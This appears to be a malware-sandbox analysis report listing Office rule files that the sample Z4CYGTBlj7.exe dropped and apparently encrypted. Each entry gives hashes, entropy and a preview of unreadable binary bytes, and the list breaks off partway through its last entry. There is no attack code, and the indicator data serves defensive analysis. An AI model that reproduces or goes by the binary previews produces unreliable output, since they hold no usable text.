Preview:	.<?.:...2$..&..q]....zkB\|.+._.?.p.1... .....\#..H.@..xh..oK0;.D........i..o.Gs...aM...y..../...U..)M".o'.x..b..?.F.8)......D..~..K6fZ....5.7a..m.....uN...O...!.UC.a..I.]l.a^5[.M.T..q.,.r.........3.d.Rs.).Nk......\....B.?/VL..J.k.......=..{C.y....."....x....=+u.O...8...3....6....).u=9.....>O-1..Mm&!...S..9.f.)..7m.F(g8.q.vO.3B._..]. [.h...s....@&.......g........J..?.....f...b#-....W.....<..m.........ie..~........2G..m.u<.:.cH9....:..k?d..1.P....l....>..r.5..u..F.....3V.g..`..V....5..gq..4.... ..<..g.2a..ldT...HzZ.....c.3[......._.....[/.<.....x..s.!....!.....h'.+.6....m....i.F.s..+.5...(5%..A...}...nB..o.x...Q...p....8X....I..'{..e.X.qc/...Z..D..r.....K.P.. .G.^.a.,..d._.&.Cz.tl0.....QVTda..........XS?..UX......&. ...E......%...'c..T>.'..1.......^..!....iz.....O..J.....>..z.Kk.m.a.....*.Q..Vr...iP...C...M..pw...m;....{.\.:1..h.....a.....9.7e."._.{.[...'..qS.i..)\|R.K.X.X..0.{.B.......&..D............L:.p/..;.l.#m.z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.931877407152536
Encrypted:	false
SSDEEP:	48:GHhNkx0xLsSoY43UUojqtvCY8t9byOegbTF5Hg33Y430aSrE4H42jMACmD:GHceJ5oY4q2x/8tpheeTHg33YIJq9Ij+
MD5:	DBE24B8FF5189B7E32B85DFF1454642D
SHA1:	8FDD836157AD4F536A4AE0E28457B506EA55D12D
SHA-256:	7897F95D029F174FDA32391B1F2DA1CCA3972C49D24987754531A35699A9BE9F
SHA-512:	EC8E4FBACBD42CF13FF425FA8E942511CEFC5B98A12C68F0E900D1A38757E009E271BCA165046DFB65B89D8B2F9BB6CC7ECACBA02BD9246B415BA5E8B4D6503F
Malicious:	false
Preview:	.<?.V).;.b.........v/M.1'N?...8.M.....N..........N....,4....1..T.......{.x.:.W....(...%..';&L.aJ....2:x...;...d!...p.3)2.\|..0m.......=r...,~...{..E..Q.b......G.1.....1.0...1n3\|.....M..p8,..G....\..8.~...........s.T..Z)..2U{..e...;.t_...0;..A.2(Gz<..u4..Y3`......{3Nfj......z.9&........c....pe..l..p....(.........[Tb..{..@.n...6c..Z.A17...^..Y..p..!..Y.Y.X`wX<...#{A..6.x..X...!.;.$:K...........+w.....W....=...2..Gm.+5....{..q.@r...2..o....E........:.}..%...\|.....o...%.\.\V.>..te.$$...{.9........eY.v.W...I!JP^s./q..@.u.3..9& ..+j.H.U33q.Y..U.K~KzrF.3SM.....%..O;..i...P.. ..+Ti.....g.$.aA.cGU P.#p\.%....i......y.^..VM.iW8...'...^%.P..^..o9.fXlq..I..l=..dh...Z8D..`..B%.;..B ...7.@....N5.+5....F...&..?.wQ.....^.u..b.._....b+...4^...&x.p.../S.].m..T.C..E.....ej.v.....$...;...9....B..w..R..X.u.P..X....A.t.b......u......K.7]S..G.....).,..{ .X.m@.C.......8..U..l.v.r/U}..^B....{.,....$...O....0.Nl..:/.<#.9.w...p(...hD..k`..ES0Q.bO.(..,.}.{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.917741490695782
Encrypted:	false
SSDEEP:	48:zCAc0bVT/zM7nXLqhoS8ZD67BgeeVXW9/BH/b7+wYKa5cOSpfWwcfeN8CmD:9fT/A7nO+SBt9/BHD7vYKaOOe1cfTC+
MD5:	45C10F824A49BE58BD0AC4FD1602A272
SHA1:	BBFD5921A9E974AF21039F7114C975C2EDD4878A
SHA-256:	7DA5A8FD7DD21696926D042FB0F53F09A4BE94522CD585CCB1F81F2A3718CC4A
SHA-512:	AD0F5A1EA692B7A6AFAFE89A5FA3E7F322AFCA93C21502F5DD7DA2D77A36672A79EA2C92B92D1CB3BC4304FFA2FE8C8EAC85035006D25157660A65FBB68E980C
Malicious:	false
Preview:	.<?`..`.M..S.i.E[ NE...o...G.E. k...'...Y.`..W..~..r..X+..C....v.tC.6...X...`FFr4.[f...."....,.."...6c..hO.......0.ADB.......C.Ok.c....&.......+....n....0f..d......!...s.....!SD.O....'.....0..l.!"5?WV.n)!..]2....1.rH$>P.S..C?...%......s.. .;M3......G8<2.>.......a'.7..W....&qw(>.{_........6.:....3..:b,._W..4.=%d.Vy.t...o}X.$..9..]......9...Q......H..}GO4h...S.'[!e....hb..A..s....m..T.k#.$fu.(...OJb. x.E..b:!)WW.3..]....}..NwU.G........c.r.u..;.!....X.....\|..SL?eL...z...:#K.L.W....I.2~..{~V.h.0m.....r.7N.#_{..Fa..E.B..j.; {L...].....{..Ef=\|...-.. ...#.]..=}....:.K..V.....\W.)\|....HF7..._6E...!...c..^..`U.....&nK...6/X..`.4./Eot.....T....Ini........(<Vv..=....Rs... ...o. .[.+. ..9.....<.x.....Z..C.[Fw..../.7k.....[.<.B.)...'.5....;..B.C.YuJ..KH....l..fiQ&....9../......2..w...n.K....b...AK?..N~,....@..K..xAlb.f.....`.....2...M..!....p....&...v.....-........i........\K...^A=:.A.\.'ZY (S?..!QU..].5:....]Plh....F..(..(Pm..n=...B..I..A.).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.60856061659272
Encrypted:	false
SSDEEP:	12:tIOdEqR6cmoE36ekHRP7w2HnYMOJE5pNPQscii9a:tIc/csE6eM7wiXqEBosbD
MD5:	70537D65C56F69BD6245F01C7BDF7DDA
SHA1:	F9107BD4E8CF6497449CB2BE3957279604852F33
SHA-256:	844C7B3536FE6EDE779C34474245FC66F8DF981D33014D0D8FE0805F3F5C0E81
SHA-512:	44395DED10AE211B311A109C246AB070D6C28FCA7D0830B1063535E2DF5A0B016C43164E4B7818D9D6134ECAB23167432E5D8725F916E8999578444ADA06521A
Malicious:	false
Preview:	.<?....l}...#.9q\..'.....m......_M.?.f......E...Q.Xm2......{G..\|5..!E..I.W..^@....y..;.=t.u..6........t...d~.....2....k"...N.O6i...2....s.....Fu.k.-......,.......KG'.V..,........E..3.v...:..2o..3....d.L.......b.a.c...Ab...cOE.\..........WF ..i..)QO.hso...U....6...,.#l.c....W.....c%tY.Xt7._p.F.r...>..wk.../..a.....}.b6.V'...r.f(...M..fnJ.....J...r..-L'..{.b@.xO.............u....7..u..h.....9+8.a?.xW.>y\.. ...E........m".T8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.918110994116707
Encrypted:	false
SSDEEP:	48:uBMYp9O229nG2rtrNrDSlkDUB00It/qoLuu4RjIJo6l+VN9dVnlWk5vmD:yzHkG2rVNXSl2UO0W/qox4RH3Lnld5v+
MD5:	255E02D0BCD6DF9CA8D4127C2C0F351D
SHA1:	8A551ED8DFCCC895AACD3E4EEA0B2A7C6BF9CE7B
SHA-256:	413A60928027ED65D94403D79B525F1C3C4374970B950691F38D9045CCB9C41F
SHA-512:	BDB92F358B9616B4B996B9F768DFA61FBCFEC95E7D148D336608B69D642AC88D7B6F7918930FBCD9FE9DD0654AA456FF74E655C01ADF6D4235A2825548900069
Malicious:	false
Preview:	.<?........^i.Y.r..6..N......+...>.m7.&._%.....,.....\|..n.M.R~....+........$.[.s.u..t...`.\l..\|.,.....c...4b-H.R.\|....Z.kq........[.86.^...H..e..!3..#j@v=.3.42@"T..h,@.WB....~.5G`......$..Y...3~...w=.Z.o.EWt...!.@..J.m.#.tKQ..].......Z7.J.[]..c.$...t.b.,...-.>..\|....Y...W...e.....=.z)...UE..:.]"R.x...{#.....J.../...Je...#.%l.q......m.p.N..=..t....Z...U....\.KtO...Y..GyEI.h.i.^.3+....]\.....%..D..^.. ....$4...4..]&c....B.3..P"...x.%..s$.m..(?m.5[."..B\.zdI....]pj...y..5L...]+=.`..'.y..G.....".0.J"4.:>m.#J`.T..\vN...\|..BM....GT. F..kO..4,......d..7/.y....v.Y..V..!.7.....^N..D9.d.Z.6..w......X.>-.Hc..`#.<V6E............>xV.r.D.R;..........C....(6Q.&.V...pZ..-D../..%....e7A........L\|.[-..4...E.&...U...3?..... ...;C..8.:uV..b.?..C..=.....j..<.\..-.G..^lCk.8.~....._...M..S.=Mj)......-@.%......+!..e.oU1....b......7.=....B....\N.>E...D...-Z.*...G..O.../b.@.;...#.#.+..>...W.e..)i......M.x..0y.....c-..w!xP...U...A.....B....e.u6.B[...r.....4.2N.].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.708639956416582
Encrypted:	false
SSDEEP:	12:ETzVpirAQUFZ4UJ9+U2V85/r8w+jmb86sUU0mNGcJ8xd4P2fmn4vbwHGHaMdP81R:MTLJZzJ9+U/5/AwRmw8SvvHaMdP8asbD
MD5:	766210C48BA912D50FDFA0DD72026CDC
SHA1:	6DA1436B251F2A246B2BE238A5293246D4F841B8
SHA-256:	A7320140D1DD43B2E82BBEEA5A54C44294BE37732EA5CAC0D5C51EE01D06596D
SHA-512:	AD0185373A7A10B96B4FA839A058479F307C7B2522EC7BE4028EC4A705C6802B4BC982EDE500DF4908E89358877D4C6A4D2ABC4590E8109F1600BBA492D59BAE
Malicious:	false
Preview:	.<?..m..?.5.m...n.9lv.%.%.H.Zq..RK...<...C\|..P...]u..[...0@....R.BaP.\|...o.%.b..+Y...K?....D.....o.....Q.I...Q.7u.j.O"F......x..p...\|.sC..u..J.B.y.......t.lL.....0].j{.+.[yF...F..%z.h.d..j...A.{P..V.....^.d.x(#..&vu....o.^L..."..2.O..H...x...W.ym}6c..-.t.\..5..f..x.v.X.....Z."..t..\|..Qk...Fc.....4.m.7..}..U..GpV..v....M\|\...L..r._........{.z.=..5.8Q}N...$..v... ...;.q.4~.(....t9.V.2...r...c.A]....t.M<....6.2.....%.Y...._b.T..u".UM...R..G...4,E.f_.....&....3.Gg.mE9.....R......".j.h................d.=.5.Keag..........3.f..&.S..[.sF..K.JYch.j.\|R_F\.;5..~.>l..q..[..+\c..n.x(pf.).U0D..G...,i.........I..W.\|.D..o...w..<...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.736526175539157
Encrypted:	false
SSDEEP:	12:CldHMkl1gMhFT+VmJMaoPxoNfQfYabLmHfVvs5iPlsmVLauQscii9a:CkklqMT+VmpWOQSHfp8cugOfsbD
MD5:	F09F9D7828460E3FADC1C576F3A64597
SHA1:	A2FC9C6F4155C262B255DFF2E3A350EDB22CA942
SHA-256:	13F1BB3B89D3F78D13C398BE4A849E0D0F7E84390D10DFEA3A5B64E9996D51DA
SHA-512:	20EC76F7DE42271A66845FB5F0DDFD3CA1103A653788E5E0EB1D7CBECBBE436561155217A6390583625F5DB15FEDFA1F4F04377D5A47D5EC39B19A84922C10BC
Malicious:	false
Preview:	.<?..{..P..s.Z^.........c+...&.U~..I)..A..8.+......2W..w...Q.N.g71......&O.O..MW...u.w.#.(.e,Qg...KB.p<.\|q.0S.4.(..@....!...U.v#.I..0.."..!.x...\8..67J.f..S....=.^.e~Zi.wg.......(......LW......./ Cls.Rl..4.dir..tI-.t..L........JQ.fo.....`..Z.T.-.e..<E.s.....Q.!.,}.~...h..?%....=._.dD.)9".....~....Z.=.....s...>.jL..."....H.*..... \.\.j...y`..>..%..8[6..(l.:U....$.f....ory.w.O.s@..-ZG.;...~k...J........O.&-{..j..Ht. .c....\|.....;.(...........!J..~.;5..w.dJ.>U.Ig.Z....@f.'..V...+.bl....Z..p..{...fb.Y..^{..........1...V..."hN..>=...).NQ.......".T..~._..].KgW[9.?}.U.\|..1..P2....M....).P..x.<.s.....bmzJq&......T....C......\|.~)v....j@=..#......Y8..v.....1+t...LuO".6\.....xz.ot.5p..P.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.687705829579575
Encrypted:	false
SSDEEP:	12:EmJe+lU4NIYbdKpeU96VPjnfwYQFI12k7V2H0OhfQxJFzNNR2HosnLzJQQscii9a:ENWRIYbIeU96dw3R2o0OfWzNNtCLlFsX
MD5:	FAE87E25298DBC300B97D68704C7B1CB
SHA1:	E4E610E2F7CB50C1C4B02E1DF874B8DE4F039C5A
SHA-256:	4DCE551B856F2A30F42119E7F8A4492B1540EB0763176BE01E23D7F4FCD603FD
SHA-512:	96C052CE4434A778F6EA5944CD490A0D1DE5E431E216AC9DED78DC79AA0EDF5259C59F2AE15558B5EAD132FA8998200CBECB9106471F7FCDECED039C81103C2E
Malicious:	false
Preview:	.<?t...n.Z<.t.G...H{.........e.._.`^\|}.l..;;....dr.....c.FQ.~...J&....uAo...........6L0.+..#....4.3...ba.h........-..h.j..(2..V.......k..I4v.WVy..i{...oj..o..E.it.ItZbPr..l...u..Hu...p.....:.SC...x...L~[J.S.34/...YSUz..%...U......6.)...}..5.."...w...W./.C..W.Ay...........m.~Q.c:pz..,.&..0.yk.....$......../....24.L....1.*b.?.(....?S....;..`.......Bh..^).k.l>-....`.6.Cq...."bOaJ{Y..T......a.'...%{...:>&.HJ..UT.....`...\.y...a..._.A...3`..M3..H....X.Y0...3'.....9-.vZ.p.Gx....8...tM..~%..E.{L0.U2."0%~.D...Q.....mAKp...<.}.$)Lx:3Ue.x..F.......d.!.....b/(.$.........>..Q.y2#?...O....<.......?,j5l..d.Z..H..DR..ZK.%N...B'.4lM.}..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.774087710995672
Encrypted:	false
SSDEEP:	24:08MgMe1h1VIyMLG/bAXuoh0VgpX7tLsbD:QE1VIyMLE09huSpmD
MD5:	675C3C1CC0CDE77A32924AFD732B193F
SHA1:	185FEBDBBCEED7C3CB6A543D6EB76B16886DAAF5
SHA-256:	06C2BA3A43A8E47E09BD0F6EF42FD83C70E57461F4D8A97937764DA0FA939348
SHA-512:	56D18CEC27F00F2B440E73EB4BB4E12320C04A76D3C808A8968882207B59C770E790201C7D7588DCBD007E8D8BEA3141F16746BF65C454EFFEDDD52A74C230D1
Malicious:	false
Preview:	.<?....u;.....\.........?.j..\|#<.H+m!..-....uh.@....@...tN../.9).q3.S..Gv..i_...i...#p...M....'.o0.F.41=.N..[E.G_$?3....oJ...qwbk.'...D....$.i......).).s....4%E.%Y......TV...p.P!9..9..LG..,..)-.v.]`K&.F....W.7 a7....G...U.....FH.A.....1c...PQ..c.5..D.u.....u....rF....u..vf9...H...Dp.Q.-Pe^...p.~4......=...h.. 7/>_..b..$...Mi..yG...QS%.N..[....nJ..-..^l..w.a..VQ.i...2..[&:S(Ir&....%Q..."....r.d .;b[.h.A./ob...B' z...:.$.O...(.1=.......R.$......{.....\~.,.C=..Z..1.U..i.#UV......o.0..8.hI.G..[.....%`.w.....\2d..R..L..YA.H&..M].7.?8..9p..j......B......^\...}..b...W...>.]b.q.E.m.R.F'.......g....._.`.....:.Rm..c.n..m...}.......p.....[s.A..x@`.S../.$d}...+.A..y..xj..i..I...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.776926562027845
Encrypted:	false
SSDEEP:	24:HUAI++pYfXZl2HpdRPrIteJWZBHBjWYsc6N1GaPc33sbD:HwYl2HpTTItVZBhjWYs9N1rPcHmD
MD5:	6E540F36140706C2F51908DF15EF578A
SHA1:	35ED42B5D53EDDDC138BECE0AF251BA31011F4C6
SHA-256:	FF4578F8B733145104C1349BB35FF294AE53821405BE400D07BD83EF3635571A
SHA-512:	C0B3535FDC67AA9C551B8C57D3C8223145C5CA0C5994B3C7BBFE2D2FFD5558EBE0C0046C764BC5EDA4EB80E23FCAD8BD2C6C06A712D903FDCC5FFF749F69D997
Malicious:	false
Preview:	.<?...........J..\-.....9.".V..I.,..m...^\tJ..8.....1v..b.]..,%%x..V6..1........3..iTT.9.d...6...O.6..~....[8..T...zL....'.R...F..p.K....\...[7..........'{5"."..cHK..`..-...}..P......=x.......a...<n....nF+...Q.....1.....w./.q4r.gP;.0..g.....g.K..R.S^ ..H....r.{.....&w. t.8..r..3.t.v.?n.&..^i..........T..a.s.c......6'./..E....u...H#}5.9u.......x0..Lc...H"...I..H.C#z.C...rg...`-.my.....v.G....Y.\|Z]~]J)...4f.\.s.xa4...<v.....FN2.mt....O.0'-..;v......."..;zd....h.kZ.s.5n.\..l.T.}}..R.[<N"k.q/..).U?..K..S..-S...~K..]`-.?Cr..q.....V...02..8.......y.O/.=Db........._".B...S.[....^.z.N c.O..... O.J..e2GjI.?..}...pG..9....\..E.....S..l.\[.q0...kL:!(2M...o.E..E.......Q..4..>._.j.Z8u..'.....X...m.....zK...,...N.Me3.$.G..g.."..p`..+. kJ!....D)..@..............!,....]...V..S6@Qg.z..._y....V..oLv.ap.......\|..c".]k.......ZZZ..>.<..*JU..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.752815183803517
Encrypted:	false
SSDEEP:	12:EMZlmIR9DfdyAIZdjQI4CvEI4dt+naDxE6xMVCe4+pN8TBk7zL/Tyzj3Qscii9a:EMZlLD1PukTCEI4LfD2GMeG6jgsbD
MD5:	5B9F35901ECF1E3CA53B9BABAF10E615
SHA1:	1CB16466E6BD96FA32F677682A3C6ACCD8024494
SHA-256:	619510DC16C0B23798ED0C1C9BA68954F91B1FA8B2827DB7D1F87E0DB0F9E7C0
SHA-512:	48B68139A774E2FEFE50B00BF2C895EAD5145BED7764075DF578E7F4E317B7002483FAEB3B54C391F8CB74983274B5B48028765C459EB8E57F4D1374D50B30F6
Malicious:	false
Preview:	.<?=(0.H.P..:4~-#F..M.!..rE0.F...3ue.\|....Th .kYd..:...(.erUH.~.......NPB... .W.k..?.=........4.X.l`.<rm!.r.N+..\..~i.......Q$PD..W..f...'c..x.Z.B.Zx{7..S...a.F!}Az....A...f..j..p:h\|.i.(..S>.X.#.7h9.9...T..E..H.s.[...[.D..?WR\...8m.n..".}....6.Xa.T...FD..Z..Y....0..=.S....h.\...w......V}.n .g...=.w.@.$.....!y..R......{.?N{VU....=)`f.h..3.....a...R..u.k.....+..8..%L.e9\|..-$A.#....B.....g....J..Z.i...H,..J...<....Tq..jfl%mV[..N...R....=..{...f..w..Opf....4..a$..%.....s.....3....q......B...%.s...1.<...m#U..!..l.....Y.. ~...g..].u..h...w.e.d....s.i.=O...^T..{S~...s.:......$..h.]..-.p..W.......a-v.3.X*#...#.6....n.q.C....G/....(..n...I.D..`..-..o...r........(..w...CqF..mU.U8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.711794927086622
Encrypted:	false
SSDEEP:	12:ByjmS1whvv7TU227e0FzmgxeFZWGUPuotFoKWvPeCFH+Rh8w0rhD1MKNQscii9a:BydwxvvUR7e0ogxeLBWuo3we+HShv0rj
MD5:	94F56375436FB3C5E6DFC5A0E06404DF
SHA1:	2EE0400D636D67A0D8AD279F22BA897A4991981E
SHA-256:	4ABCE7CE64263E3942D51A1C68DF9163F404ECB2196337A60781B6E1D643CAD5
SHA-512:	EB270C972AEB7C55B340D0DC9DCED11CBB308B10A2B7697FACD1126E07128F258AB796F0067E8678009D12B390CEE5D834B029D5CAE74256A9696B43070A629F
Malicious:	false
Preview:	.<?5..7<......6.....\........l..ol.....a,.$....S.?&.?......./.._....O..2..A...(voS;.....7iw.Kve.k..&Q.........f^.c....O.</..[.u`/I.....D.'..\w].P.ji. ..1.....~.B...dJ..R...}......H-0.S.....R....).bc( .F.O.n...._..F..[K.jS...e:{..hU..b;..).8.....&..I.Q^..S.J&.)..........s.x.6:...J&.(L.1....`...m.....W.......A:[.......8.....Q.....C.1aK..........R.(..7t=.}....P/......Fw0.{...:.#?......6Q..i..~8.e....[...5.{...C....1..mQ..4"..).OXr..+7}..N.h....TuW..".~.....UY...R.....W.:....BT....ars..!..~......o..Des...ho.,...g.......W.\.U..0L.&G......y.>.i.We.7.Ww.Y'/*kg>.......=.......2C..31.U..Z.....p.....U..0.._S.Q.......G8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.731081476120264
Encrypted:	false
SSDEEP:	12:ZtuQdpfLBEg3Nj8QD4BdnNSeVlBrrQvz00dK/X9k1DMJ//6W0yB6luQscii9a:nLpugdjJDInNrlBrrQ7QP9kFU8npsbD
MD5:	86E0EAB1F09D0E00CC5EB0BDBEA2191B
SHA1:	D00CB0EF359F2B2508639B15072E5ECFF4A64DC2
SHA-256:	A60EFC7895876F6BB26AEEE96ED02550FF05F40FDFCAAC79A6FB9AFE5E616A4F
SHA-512:	F1315F24E700FA602582F96AB69CD4653F7C071E6465B4C963CAD8A1D81B6443A719801BF8D6057C746BE45074E376C61DEDA5BCB419ACA63DC051008BC223DF
Malicious:	false
Preview:	.<?..^.RDW.?\.GZ.u.7.+..P.."..B.N....6.d...j*.`&..q.\./C...J.....$.g......U....v......y...Y.D..9:.........v..7..M.j~3.x.Q........w.v..c.>q.....d.t...W..n<...;.Q..NdQ%X.)SD_...mr.F.........k...n.....Q.....k.".I,.U/M.u...a<.j...g.q..u.....s....I...c...HZ@.F./.r..q....#.. ....F..R}a;.\|x..`.R+..b.Fzf..X...\|\|..#..3.LO...M.E..&,.....(..n......o0.S.....}.1....Z.p..[.C..)q..k..L...-..zr_.......~K!Zp.D...d{M.2sM+w.v.hu+.../...-v~..4...5,......M....P....._<.Ua...`.h.LPJd.P+yHQ.[.......V.Uz.S=.4......>.1Z.l.!o.52.s#.0.k.Ly.W.&)...O.l.....R-...[..R.~.....M...$...M..=..r.>.[.Q.....eN.%].?.8..s6).n.?.!R'.?...A......O....U.;...\..m.....Z...V<0..L...d.5...\|..[..i..y....9<.6.X.x.z?.].......sQ7(.f.:r..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.683317926966065
Encrypted:	false
SSDEEP:	12:gGSOgsq3rJ5XXYK+vJAS5gvsXTfrLG80z5y40S1sUK+an79gnArjT6Zd2nR/qSQ+:8hZfXu9sKDEzM46U/ADGy6sbD
MD5:	B896F1358CBE303388920F1287F56F28
SHA1:	CDA197AB422EEAEDA0B7B1D561B6C18AD766BE0E
SHA-256:	AE1113344225A5C0C32ED37F545C4CD1EB00CD5007D7D6C6699B91C346C9816F
SHA-512:	6DEEF8E9580943C7336E115793630973F769BB6A0117F12564A7D68161EFC2B33175193A07849344BE16D39B54CB88AFA6B1C4247A0C12BFF9FD82B822B713D9
Malicious:	false
Preview:	.<?..."...1$.f...?..B..(........8Rd.)u.>..<0...-...\|.l.&.<.(.S.M ..TH...h.V......1.....L.......a.Oc?.z...D.......r.@..A.3.Z.7.@.....M.u.@K..) .r.D.1l8sW...;.R...s..2k../.@;.X.#-...,)...tu.^..........qw...&..............+......l....5H...#..dC-...)..a?.]..l..(@d3:n~..._....\|...X...9.Q.-.. {......[4.PF.&........^<.....}.T....v..3x\|>C[ZzF..6.O..0(..^.T.1.7..ugka.G..PyE..~s.+.K......k!P8.....+......./..RIH.x.....2.QY.3....<.5Q5H..CUu.p..\|..Y.?.w.9..k..TOi%...../......la.-..n.5)..Gi.XfD,...`.v.k.f.n...9.h_..1.> .B.....?&.M..F.......y...!.....1.....x.l...B~J.Ia{MB..........a..A8...B.......C..Yp.ykI.'s....V]-..t2.....]....{X.._w.?Y..O.\K../8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.752084146840633
Encrypted:	false
SSDEEP:	24:M3q1u7SXiUT6XdsW7ckxvnFlJF4KrJsbD:t4SyC6XGGn5WKlmD
MD5:	9A1757CCEFC067F3918BD7783F03B52C
SHA1:	5154567EE14071DF2F44AB5E2C6E85FD4ECC022F
SHA-256:	259B8AF10F0856E7A158B4A82737BED0A74A0E3BC560B810811C189B7C60C73B
SHA-512:	0F4815CDBE9091D05D7BEEB4DCAC451A8B23AC154C8B24FBA420AE1C338E339089A4E664BCD741D02443C864031B700CCB6490EC827169691C5DCA4C87131797
Malicious:	false
Preview:	.<?..q5-..5........?..hk...$B.FT?..X.%.(...l.....Z.:.l.o....Ko.....+...ny.Y.... ..JG.LE..nZ....y..kt.o...RO....SHIY'..nv....M]9...sO...j..?V. .....6..+w.".....B..f\|...b=SS....*...j..).X.36.'.2....7~sM._.SB..lL].......3.e.....T%.=..)aY...V=....g8..n.......<,-.....ON...%.....r.s..B)...H.....T..J...?..d`..1.........f.q.{. ...........B...\:..S...`.....p..=.3.. ..!<.....E..8[....hR.....^.t.w:..k..K...&..[.'.?...O..x..X;...!...iwNRy....N[....2...@..xHaf.m..!...N.n....;....R..c{Eck....G.I.6.k..l...9?..........h.W...&.+.\.^ge..d.J...A..i6N....N;..>.J...y.K..&.ZF.P.nn.P5"4.m.........I..2....>80&..b..o.n.5..fS....m....!M.....W.'..;...jK.Z.t.@...K..v#...G.w..a_...'...^.....p.H...kZ...c02.....>..~@3.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.727881719359715
Encrypted:	false
SSDEEP:	12:IfOgfN7nbGI0Jk2tC+1+pwkJyszm+cHdnSnxipV3LA3FuihKhZaqDnRn/wVODFh3:IfX1zbGI+kmopweyszm+c9SnxipV83IV
MD5:	CE7664A453B8766297239BC01D8D22F9
SHA1:	5BEF350B319D5FEBC4BD4E03FFDE5DCCE53DA112
SHA-256:	FF7F61AB64C37CED5223D80A404E00592512A212E7638D9BDF6FDA3E08BF6CC5
SHA-512:	7944C8D0227C8F5FEABA33365A02516498E7738CABE343801D78525C9BABA7B247AF0FF96E13531B09442285E4A060302174C111F0198ED44EC5248E954E6A02
Malicious:	false
